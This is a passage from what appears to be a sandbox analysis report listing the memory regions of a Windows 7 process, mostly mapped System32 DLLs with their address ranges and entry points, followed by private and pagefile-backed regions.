0x7fefa948fff entry_point = 0x7fefa8e1198 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 1851 start_va = 0x7fefab20000 end_va = 0x7fefab35fff entry_point = 0x7fefab21050 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 1852 start_va = 0x7fefab40000 end_va = 0x7fefabf9fff entry_point = 0x7fefab4115c region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 1853 start_va = 0x7fefac00000 end_va = 0x7fefac42fff entry_point = 0x7fefac030d8 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 1854 start_va = 0x7fefac50000 end_va = 0x7fefac63fff entry_point = 0x7fefac516b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1855 start_va = 0x7fefac70000 end_va = 0x7fefad35fff entry_point = 0x7fefac7f220 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 1856 start_va = 0x7fefad90000 end_va = 0x7fefaeb9fff entry_point = 0x7fefad93810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 1857 start_va = 0x7fefaec0000 end_va = 0x7fefaed7fff entry_point = 0x7fefaec1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1858 start_va = 0x7fefaee0000 end_va = 0x7fefaeeafff entry_point = 0x7fefaee1020 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1859 start_va = 0x7fefaef0000 end_va = 0x7fefaf2afff entry_point = 0x7fefaeff410 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 1860 start_va = 0x7fefaf30000 end_va = 0x7fefaf72fff entry_point = 0x7fefaf3c168 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 1861 start_va = 0x7fefaf80000 end_va = 0x7fefb071fff entry_point = 0x7fefafaac20 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 1862 start_va = 0x7fefb080000 end_va = 0x7fefb294fff entry_point = 0x7fefb2564b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1863 start_va = 0x7fefb2a0000 end_va = 0x7fefb2f5fff entry_point = 0x7fefb2abbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1864 start_va = 0x7fefb380000 end_va = 0x7fefb3b4fff entry_point = 0x7fefb381064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1865 start_va = 0x7fefb500000 end_va = 0x7fefb514fff entry_point = 0x7fefb501050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1866 start_va = 0x7fefb520000 end_va = 0x7fefb52bfff entry_point = 0x7fefb5218a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1867 start_va = 0x7fefb630000 end_va = 0x7fefb647fff entry_point = 0x7fefb631bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1868 start_va = 0x7fefb650000 end_va = 0x7fefb660fff entry_point = 0x7fefb6516ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1869 start_va = 0x7fefb7d0000 end_va = 0x7fefb7dafff entry_point = 0x7fefb7d1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1870 start_va = 0x7fefb7e0000 end_va = 0x7fefb806fff entry_point = 0x7fefb7e98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1871 start_va = 0x7fefb850000 end_va = 0x7fefb8b6fff entry_point = 0x7fefb866060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1872 start_va = 0x7fefb8c0000 end_va = 0x7fefb8cafff entry_point = 0x7fefb8c4f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1873 start_va = 0x7fefb8f0000 end_va = 0x7fefb908fff entry_point = 0x7fefb8f11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1874 start_va = 0x7fefb950000 end_va = 0x7fefb960fff entry_point = 0x7fefb951070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1875 start_va = 0x7fefb970000 end_va = 0x7fefb984fff entry_point = 0x7fefb9760d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1876 start_va = 0x7fefbaa0000 end_va = 0x7fefbbc6fff entry_point = 0x7fefbaa10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1877 start_va = 0x7fefbcb0000 end_va = 0x7fefbcfafff entry_point = 0x7fefbcbefcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1878 start_va = 0x7fefbd00000 end_va = 0x7fefbd2bfff entry_point = 0x7fefbd015c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1879 start_va = 0x7fefbde0000 end_va = 0x7fefbe0cfff entry_point = 0x7fefbde1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1880 start_va = 0x7fefbe30000 end_va = 0x7fefbe38fff entry_point = 0x7fefbe31010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1881 start_va = 0x7fefbe40000 end_va = 0x7fefbf6bfff entry_point = 0x7fefbe494bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1882 start_va = 0x7fefbf70000 end_va = 0x7fefbf8cfff entry_point = 0x7fefbf71ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1883 start_va = 0x7fefbf90000 end_va = 0x7fefbfb3fff entry_point = 0x7fefbf91024 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1884 start_va = 0x7fefbfc0000 end_va = 0x7fefc1b3fff entry_point = 0x7fefc14c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1885 start_va = 0x7fefc1c0000 end_va = 0x7fefc2c8fff entry_point = 0x7fefc1c1010 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 1886 start_va = 0x7fefc2d0000 end_va = 0x7fefc4a9fff entry_point = 0x7fefc2d3130 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 1887 start_va = 0x7fefc650000 end_va = 0x7fefc65bfff entry_point = 0x7fefc651064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1888 start_va = 0x7fefc840000 end_va = 0x7fefc85dfff entry_point = 0x7fefc8413b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1889 start_va = 0x7fefc930000 end_va = 0x7fefc939fff entry_point = 0x7fefc933cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1890 start_va = 0x7fefca60000 end_va = 0x7fefcaa6fff entry_point = 0x7fefca61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1891 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1892 start_va = 0x7fefcfb0000 end_va = 0x7fefd01cfff entry_point = 0x7fefcfb1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1893 start_va = 0x7fefd280000 end_va = 0x7fefd2a2fff entry_point = 0x7fefd281198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1894 start_va = 0x7fefd320000 end_va = 0x7fefd32afff entry_point = 0x7fefd321030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1895 start_va = 0x7fefd350000 end_va = 0x7fefd374fff entry_point = 0x7fefd359658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1896 start_va = 0x7fefd380000 end_va = 0x7fefd38efff entry_point = 0x7fefd381010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1897 start_va = 0x7fefd390000 end_va = 0x7fefd420fff entry_point = 0x7fefd391440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1898 start_va = 0x7fefd430000 end_va = 0x7fefd46cfff entry_point = 0x7fefd4318f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1899 start_va = 0x7fefd470000 end_va = 0x7fefd483fff entry_point = 0x7fefd4710e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1900 start_va = 0x7fefd490000 end_va = 0x7fefd49efff entry_point = 0x7fefd4919b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1901 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd531020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1902 start_va = 0x7fefd5e0000 end_va = 0x7fefd619fff entry_point = 0x7fefd5e1320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1903 start_va = 0x7fefd620000 end_va = 0x7fefd655fff entry_point = 0x7fefd621474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1904 start_va = 0x7fefd660000 end_va = 0x7fefd679fff entry_point = 0x7fefd661558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1905 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd6830e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1906 start_va = 0x7fefd6f0000 end_va = 0x7fefd856fff entry_point = 0x7fefd6f10c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1907 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd8aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1908 start_va = 0x7fefd990000 end_va = 0x7fefda28fff entry_point = 0x7fefd991c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1909 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda31010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1910 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb20760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1911 start_va = 0x7fefdbe0000 end_va = 0x7fefdd57fff entry_point = 0x7fefdbe10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1912 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd6b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1913 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1914 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdf5a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1915 start_va = 0x7fefdfb0000 end_va = 0x7fefed37fff entry_point = 0x7fefe02cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1916 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1917 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefee03330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1918 start_va = 0x7fefeff0000 end_va = 0x7feff041fff entry_point = 0x7fefeff10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1919 start_va = 0x7feff0d0000 end_va = 0x7feff2a6fff entry_point = 0x7feff0d1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1920 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2c1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1921 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1922 start_va = 0x7feff340000 end_va = 0x7feff598fff entry_point = 0x7feff341340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1923 start_va = 0x7feff5a0000 end_va = 0x7feff5a7fff entry_point = 0x7feff5a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1924 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1925 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1926 start_va = 0x7feff6b0000 end_va = 0x7feff7d9fff entry_point = 0x7feff6b10d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1927 start_va = 0x7feff7e0000 end_va = 0x7feff82cfff entry_point = 0x7feff7e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1928 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1929 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1930 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1931 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1932 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1933 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1934 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1935 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1936 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1937 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1938 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1939 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1940 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1941 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1942 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1943 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1944 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1945 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1946 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1947 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1948 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1949 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1950 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1951 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1952 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1953 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1954 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1955 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1956 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1957 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1958 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1959 start_va = 0x77a0000 end_va = 0x8463fff entry_point = 0x0 region_type = private name = "private_0x00000000077a0000" filename = "" Region: id = 1960 start_va = 0x2b90000 end_va = 0x2b90fff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 1963 start_va = 0x4c70000 end_va = 0x4ceffff entry_point = 0x0 region_type = private name = "private_0x0000000004c70000" filename = "" Region: id = 1964 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1965 start_va = 0x2c80000 end_va = 0x2c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 1966 start_va = 0x97a0000 end_va = 0xa46cfff entry_point = 0x0 region_type = private name = "private_0x00000000097a0000" filename = "" Region: id = 1967 start_va = 0x2c90000 end_va = 0x2c98fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c90000" filename = "" Region: id = 1968 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1969 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1970 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1971 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1972 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1973 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1974 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1975 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1976 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1977 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1978 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1979 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1980 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1981 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1982 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1983 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1984 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1985 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1986 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1987 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1988 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1989 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1990 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1991 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1992 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1993 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1994 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1995 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1996 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1997 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: 